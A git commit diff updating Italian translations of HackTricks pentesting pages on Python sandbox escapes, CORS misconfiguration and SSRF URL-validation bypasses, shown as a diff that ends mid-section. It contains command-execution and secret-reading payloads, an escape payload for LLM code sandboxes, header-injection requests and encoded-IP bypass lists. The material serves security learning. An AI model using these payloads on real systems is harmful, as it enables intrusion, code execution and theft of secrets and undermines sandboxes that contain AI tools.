mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 22:48:32 +00:00
Translated ['generic-methodologies-and-resources/python/bypass-python-sa
This commit is contained in:
parent
68e922c303
commit
9f53735e34
3 changed files with 58 additions and 39 deletions
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||||
|
|
||||||
|
@ -23,8 +23,6 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
Questi sono alcuni trucchi per bypassare le protezioni della sandbox di Python ed eseguire comandi arbitrari.
|
Questi sono alcuni trucchi per bypassare le protezioni della sandbox di Python ed eseguire comandi arbitrari.
|
||||||
|
|
||||||
## Librerie di Esecuzione Comandi
|
## Librerie di Esecuzione Comandi
|
||||||
|
@ -110,13 +108,13 @@ Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare
|
||||||
Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python extra installato sul server** quando te ne vai.
|
Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python extra installato sul server** quando te ne vai.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Eval-ing codice python
|
## Eval-ing python code
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Nota che exec consente stringhe multilinea e ";", ma eval non lo fa (controlla l'operatore walrus)
|
Nota che exec consente stringhe multilinea e ";", ma eval non lo fa (controlla l'operatore walrus)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Se certi caratteri sono vietati, puoi utilizzare la **rappresentazione hex/octal/B64** per **bypassare** la restrizione:
|
Se alcuni caratteri sono vietati, puoi utilizzare la **rappresentazione hex/octal/B64** per **bypassare** la restrizione:
|
||||||
```python
|
```python
|
||||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||||
|
@ -686,7 +684,7 @@ Puoi controllare l'output di questo script su questa pagina:
|
||||||
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Stringa di Formato Python
|
## Python Format String
|
||||||
|
|
||||||
Se **invi** una **stringa** a python che verrà **formattata**, puoi usare `{}` per accedere a **informazioni interne di python.** Puoi usare gli esempi precedenti per accedere a globals o builtins, ad esempio.
|
Se **invi** una **stringa** a python che verrà **formattata**, puoi usare `{}` per accedere a **informazioni interne di python.** Puoi usare gli esempi precedenti per accedere a globals o builtins, ad esempio.
|
||||||
```python
|
```python
|
||||||
|
@ -712,7 +710,7 @@ Nota come puoi **accedere agli attributi** in modo normale con un **punto** come
|
||||||
|
|
||||||
Nota anche che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
Nota anche che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||||
|
|
||||||
Alcune altre caratteristiche interessanti delle stringhe di formato è la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** nell'oggetto indicato aggiungendo **`!s`**, **`!r`**, **`!a`** rispettivamente:
|
Altre caratteristiche interessanti delle stringhe di formato sono la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** nell'oggetto indicato aggiungendo **`!s`**, **`!r`**, **`!a`** rispettivamente:
|
||||||
```python
|
```python
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
|
@ -728,10 +726,10 @@ return 'HAL 9000'
|
||||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||||
#I'm afraid I can't do that.
|
#I'm afraid I can't do that.
|
||||||
```
|
```
|
||||||
**Ulteriori esempi** sugli **esempi** di **stringa** **formattata** possono essere trovati in [**https://pyformat.info/**](https://pyformat.info)
|
**Ulteriori esempi** sugli **esempi di stringhe di formato** possono essere trovati in [**https://pyformat.info/**](https://pyformat.info)
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Controlla anche la seguente pagina per gadget che r**ead sensitive information from Python internal objects**:
|
Controlla anche la seguente pagina per gadget che r**ead informazioni sensibili dagli oggetti interni di Python**:
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||||
|
@ -754,18 +752,22 @@ secret_variable = "clueless"
|
||||||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||||
str(x) # Out: clueless
|
str(x) # Out: clueless
|
||||||
```
|
```
|
||||||
### Dalla formattazione al RCE caricamento di librerie
|
### Bypass delle prigioni LLM
|
||||||
|
|
||||||
|
Da [qui](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||||
|
|
||||||
|
### Dal formato al RCE caricando librerie
|
||||||
|
|
||||||
Secondo il [**TypeMonkey chall di questo writeup**](https://corgi.rip/posts/buckeye-writeups/), è possibile caricare librerie arbitrarie dal disco abusando della vulnerabilità della stringa di formato in python.
|
Secondo il [**TypeMonkey chall di questo writeup**](https://corgi.rip/posts/buckeye-writeups/), è possibile caricare librerie arbitrarie dal disco abusando della vulnerabilità della stringa di formato in python.
|
||||||
|
|
||||||
Come promemoria, ogni volta che viene eseguita un'azione in python, viene eseguita una funzione. Ad esempio, `2*3` eseguirà **`(2).mul(3)`** o **`{'a':'b'}['a']`** sarà **`{'a':'b'}.__getitem__('a')`**.
|
Come promemoria, ogni volta che viene eseguita un'azione in python, viene eseguita una funzione. Ad esempio, `2*3` eseguirà **`(2).mul(3)`** o **`{'a':'b'}['a']`** sarà **`{'a':'b'}.__getitem__('a')`**.
|
||||||
|
|
||||||
Hai più esempi simili nella sezione [**Esecuzione Python senza chiamate**](./#python-execution-without-calls).
|
Hai di più come questo nella sezione [**Esecuzione Python senza chiamate**](./#python-execution-without-calls).
|
||||||
|
|
||||||
Una vulnerabilità della stringa di formato python non consente di eseguire funzioni (non consente di utilizzare le parentesi), quindi non è possibile ottenere RCE come `'{0.system("/bin/sh")}'.format(os)`.\
|
Una vulnerabilità della stringa di formato python non consente di eseguire funzioni (non consente di usare le parentesi), quindi non è possibile ottenere RCE come `'{0.system("/bin/sh")}'.format(os)`.\
|
||||||
Tuttavia, è possibile utilizzare `[]`. Pertanto, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
|
Tuttavia, è possibile usare `[]`. Pertanto, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
|
||||||
|
|
||||||
Cercando un gadget del genere in python, il writeup propone questa [**query di ricerca su Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Dove ha trovato questo [esempio](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
Cercando un gadget del genere in python, il writeup propone questa [**query di ricerca su Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Dove ha trovato questo [uno](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||||
```python
|
```python
|
||||||
class LibraryLoader(object):
|
class LibraryLoader(object):
|
||||||
def __init__(self, dlltype):
|
def __init__(self, dlltype):
|
||||||
|
@ -791,12 +793,12 @@ Questo gadget consente di **caricare una libreria dal disco**. Pertanto, è nece
|
||||||
```python
|
```python
|
||||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||||
```
|
```
|
||||||
La sfida sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari nel disco del server.
|
La sfida sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari nel disco dei server.
|
||||||
|
|
||||||
## Dissezionare gli Oggetti Python
|
## Dissezionare gli Oggetti Python
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Se vuoi **imparare** a conoscere **il bytecode di python** in profondità, leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
Se vuoi **imparare** a conoscere **il bytecode di python** in profondità leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
In alcuni CTF potresti ricevere il nome di una **funzione personalizzata in cui risiede il flag** e devi esaminare gli **interni** della **funzione** per estrarlo.
|
In alcuni CTF potresti ricevere il nome di una **funzione personalizzata in cui risiede il flag** e devi esaminare gli **interni** della **funzione** per estrarlo.
|
||||||
|
@ -947,7 +949,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||||
## Compilare Python
|
## Compilare Python
|
||||||
|
|
||||||
Ora, immaginiamo che in qualche modo tu possa **estrarre le informazioni su una funzione che non puoi eseguire** ma che **devi** **eseguire**.\
|
Ora, immaginiamo che in qualche modo tu possa **estrarre le informazioni su una funzione che non puoi eseguire** ma che **devi** **eseguire**.\
|
||||||
Come nel seguente esempio, tu **puoi accedere all'oggetto codice** di quella funzione, ma leggendo semplicemente il disassemblaggio tu **non sai come calcolare il flag** (_immagina una funzione `calc_flag` più complessa_)
|
Come nel seguente esempio, tu **puoi accedere all'oggetto codice** di quella funzione, ma leggendo semplicemente il disassemblaggio **non sai come calcolare il flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
|
@ -982,7 +984,7 @@ mydict['__builtins__'] = __builtins__
|
||||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
A seconda della versione di python, i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
|
A seconda della versione di python, i **parametri** di `code_type` potrebbero avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
|
||||||
```
|
```
|
||||||
import types
|
import types
|
||||||
types.CodeType.__doc__
|
types.CodeType.__doc__
|
||||||
|
@ -1007,10 +1009,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
```
|
```
|
||||||
### Bypass Defenses
|
### Bypass Defenses
|
||||||
|
|
||||||
In previous examples at the beginning of this post, you can see **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. This is interesting because you can **eseguire interi script** con cicli e tutto in un **un'unica riga** (e potremmo fare lo stesso usando **`exec`**).\
|
Negli esempi precedenti all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **un'unica riga** (e potremmo fare lo stesso usando **`exec`**).\
|
||||||
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo nella **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nel CTF).
|
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nel CTF).
|
||||||
|
|
||||||
For example, let's compile and execute manually a function that reads _./poc.py_:
|
Ad esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
|
||||||
```python
|
```python
|
||||||
#Locally
|
#Locally
|
||||||
def read():
|
def read():
|
||||||
|
@ -1059,7 +1061,7 @@ Utilizzando strumenti come [**https://www.decompiler.com/**](https://www.decompi
|
||||||
|
|
||||||
### Assert
|
### Assert
|
||||||
|
|
||||||
Python eseguito con ottimizzazioni con il parametro `-O` rimuoverà le dichiarazioni di asserzione e qualsiasi codice condizionale sul valore di **debug**.\
|
Python eseguito con ottimizzazioni con il parametro `-O` rimuoverà le dichiarazioni di assert e qualsiasi codice condizionale sul valore di **debug**.\
|
||||||
Pertanto, controlli come
|
Pertanto, controlli come
|
||||||
```python
|
```python
|
||||||
def check_permission(super_user):
|
def check_permission(super_user):
|
||||||
|
@ -1069,7 +1071,7 @@ print("\nYou are a super user\n")
|
||||||
except AssertionError:
|
except AssertionError:
|
||||||
print(f"\nNot a Super User!!!\n")
|
print(f"\nNot a Super User!!!\n")
|
||||||
```
|
```
|
||||||
sarà eluso
|
sarà bypassato
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
|
|
||||||
|
@ -1080,17 +1082,17 @@ sarà eluso
|
||||||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||||
|
|
||||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica l'Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica l'Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -79,11 +79,11 @@ xhr.send('<person><name>Arun</name></person>');
|
||||||
|
|
||||||
### Comprendere le Richieste di Pre-flight nella Comunicazione Cross-Domain
|
### Comprendere le Richieste di Pre-flight nella Comunicazione Cross-Domain
|
||||||
|
|
||||||
Quando si avvia una richiesta cross-domain in determinate condizioni, come l'uso di un **metodo HTTP non standard** (qualsiasi cosa diversa da HEAD, GET, POST), l'introduzione di **nuovi header** o l'impiego di un particolare **valore dell'header Content-Type**, potrebbe essere necessaria una richiesta di pre-flight. Questa richiesta preliminare, che sfrutta il metodo **`OPTIONS`**, serve a informare il server delle intenzioni della prossima richiesta cross-origin, inclusi i metodi HTTP e gli header che si intende utilizzare.
|
Quando si avvia una richiesta cross-domain in determinate condizioni, come l'uso di un **metodo HTTP non standard** (qualsiasi cosa diversa da HEAD, GET, POST), l'introduzione di **nuovi header**, o l'impiego di un particolare **valore dell'header Content-Type**, potrebbe essere necessaria una richiesta di pre-flight. Questa richiesta preliminare, che sfrutta il metodo **`OPTIONS`**, serve a informare il server delle intenzioni della prossima richiesta cross-origin, inclusi i metodi HTTP e gli header che si intende utilizzare.
|
||||||
|
|
||||||
Il protocollo **Cross-Origin Resource Sharing (CORS)** richiede questo controllo di pre-flight per determinare la fattibilità dell'operazione cross-origin richiesta verificando i metodi, gli header e l'affidabilità dell'origine consentiti. Per una comprensione dettagliata delle condizioni che eludono la necessità di una richiesta di pre-flight, fare riferimento alla guida completa fornita da [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
Il protocollo **Cross-Origin Resource Sharing (CORS)** richiede questo controllo di pre-flight per determinare la fattibilità dell'operazione cross-origin richiesta verificando i metodi e gli header consentiti, nonché l'affidabilità dell'origine. Per una comprensione dettagliata delle condizioni che eludono la necessità di una richiesta di pre-flight, fare riferimento alla guida completa fornita da [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||||
|
|
||||||
È fondamentale notare che **l'assenza di una richiesta di pre-flight non annulla il requisito che la risposta contenga header di autorizzazione**. Senza questi header, il browser è incapace di elaborare la risposta della richiesta cross-origin.
|
È fondamentale notare che **l'assenza di una richiesta di pre-flight non annulla l'obbligo che la risposta contenga header di autorizzazione**. Senza questi header, il browser è incapace di elaborare la risposta della richiesta cross-origin.
|
||||||
|
|
||||||
Considera la seguente illustrazione di una richiesta di pre-flight mirata a utilizzare il metodo `PUT` insieme a un header personalizzato chiamato `Special-Request-Header`:
|
Considera la seguente illustrazione di una richiesta di pre-flight mirata a utilizzare il metodo `PUT` insieme a un header personalizzato chiamato `Special-Request-Header`:
|
||||||
```
|
```
|
||||||
|
@ -210,7 +210,7 @@ I modelli Regex si concentrano tipicamente su caratteri alfanumerici, punto (.)
|
||||||
|
|
||||||
### Da XSS all'interno di un sottodominio
|
### Da XSS all'interno di un sottodominio
|
||||||
|
|
||||||
Gli sviluppatori spesso implementano meccanismi difensivi per proteggere contro lo sfruttamento di CORS autorizzando i domini che possono richiedere informazioni. Nonostante queste precauzioni, la sicurezza del sistema non è infallibile. La presenza di anche un singolo sottodominio vulnerabile all'interno dei domini autorizzati può aprire la porta allo sfruttamento di CORS attraverso altre vulnerabilità, come XSS (Cross-Site Scripting).
|
Gli sviluppatori spesso implementano meccanismi difensivi per proteggere contro lo sfruttamento di CORS autorizzando i domini che possono richiedere informazioni. Nonostante queste precauzioni, la sicurezza del sistema non è infallibile. La presenza anche di un singolo sottodominio vulnerabile all'interno dei domini autorizzati può aprire la porta allo sfruttamento di CORS attraverso altre vulnerabilità, come XSS (Cross-Site Scripting).
|
||||||
|
|
||||||
Per illustrare, consideriamo lo scenario in cui un dominio, `requester.com`, è autorizzato ad accedere alle risorse di un altro dominio, `provider.com`. La configurazione lato server potrebbe apparire in questo modo:
|
Per illustrare, consideriamo lo scenario in cui un dominio, `requester.com`, è autorizzato ad accedere alle risorse di un altro dominio, `provider.com`. La configurazione lato server potrebbe apparire in questo modo:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -251,6 +251,12 @@ Cookie: <session_cookie>
|
||||||
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
|
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
|
||||||
Access-Control-Allow-Credentials: true
|
Access-Control-Allow-Credentials: true
|
||||||
```
|
```
|
||||||
|
### **Altri trucchi divertenti con URL**
|
||||||
|
|
||||||
|
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||||
|
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### **Avvelenamento della cache lato server**
|
### **Avvelenamento della cache lato server**
|
||||||
|
|
||||||
[**Da questa ricerca**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
[**Da questa ricerca**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||||
|
@ -262,7 +268,7 @@ Considera la seguente richiesta in cui l'intestazione `Origin` è manipolata:
|
||||||
GET / HTTP/1.1
|
GET / HTTP/1.1
|
||||||
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
|
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
|
||||||
```
|
```
|
||||||
Internet Explorer e Edge interpretano la risposta come:
|
Internet Explorer ed Edge interpretano la risposta come:
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Access-Control-Allow-Origin: z
|
Access-Control-Allow-Origin: z
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# URL Format Bypass
|
# URL Format Bypass
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica il hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica il hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -60,6 +60,10 @@ http://0xc0a80014/ = http://192.168.0.20
|
||||||
0x7f.0x00.0x00.0x01
|
0x7f.0x00.0x00.0x01
|
||||||
0x0000007f.0x00000000.0x00000000.0x00000001
|
0x0000007f.0x00000000.0x00000000.0x00000001
|
||||||
|
|
||||||
|
# Mixed encodings bypass
|
||||||
|
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
|
||||||
|
0xA9.254.0251.0376 -> hexadecimal, decimal and octal
|
||||||
|
|
||||||
# Add 0s bypass
|
# Add 0s bypass
|
||||||
127.000000000000.1
|
127.000000000000.1
|
||||||
|
|
||||||
|
@ -152,7 +156,7 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
||||||
#Parameter pollution
|
#Parameter pollution
|
||||||
next={domain}&next=attacker.com
|
next={domain}&next=attacker.com
|
||||||
```
|
```
|
||||||
### Paths and Extensions Bypass
|
### Bypass di Percorsi ed Estensioni
|
||||||
|
|
||||||
Se è richiesto che l'URL debba terminare con un percorso o un'estensione, o debba contenere un percorso, puoi provare uno dei seguenti bypass:
|
Se è richiesto che l'URL debba terminare con un percorso o un'estensione, o debba contenere un percorso, puoi provare uno dei seguenti bypass:
|
||||||
```
|
```
|
||||||
|
@ -166,7 +170,9 @@ Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) può generare
|
||||||
|
|
||||||
### Elenchi di parole personalizzati automatici
|
### Elenchi di parole personalizzati automatici
|
||||||
|
|
||||||
Dai un'occhiata al [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) di portswigger dove puoi inserire l'host consentito e quello degli attaccanti e genererà un elenco di URL da provare per te. Considera anche se puoi utilizzare l'URL in un parametro, in un'intestazione Host o in un'intestazione CORS.
|
Dai un'occhiata al [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) di portswigger dove puoi inserire l'host consentito e quello dell'attaccante e genererà un elenco di URL da provare per te. Considera anche se puoi utilizzare l'URL in un parametro, in un'intestazione Host o in un'intestazione CORS.
|
||||||
|
|
||||||
|
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||||
|
|
||||||
### Bypass tramite reindirizzamento
|
### Bypass tramite reindirizzamento
|
||||||
|
|
||||||
|
@ -197,10 +203,14 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||||
|
|
||||||
### Blackslash-trick
|
### Blackslash-trick
|
||||||
|
|
||||||
Il _backslash-trick_ sfrutta una differenza tra il [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Mentre RFC3986 è un framework generale per gli URI, WHATWG è specifico per gli URL web ed è adottato dai browser moderni. La distinzione chiave risiede nel riconoscimento del backslash (`\`) da parte dello standard WHATWG come equivalente allo slash (`/`), influenzando il modo in cui gli URL vengono analizzati, segnando specificamente la transizione dal nome host al percorso in un URL.
|
Il _backslash-trick_ sfrutta una differenza tra il [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Mentre RFC3986 è un framework generale per gli URI, WHATWG è specifico per gli URL web ed è adottato dai browser moderni. La distinzione chiave risiede nel riconoscimento del backslash (`\`) come equivalente alla barra obliqua (`/`) nello standard WHATWG, influenzando il modo in cui gli URL vengono analizzati, segnando specificamente la transizione dal nome host al percorso in un URL.
|
||||||
|
|
||||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||||
|
|
||||||
|
### Parentesi quadra sinistra
|
||||||
|
|
||||||
|
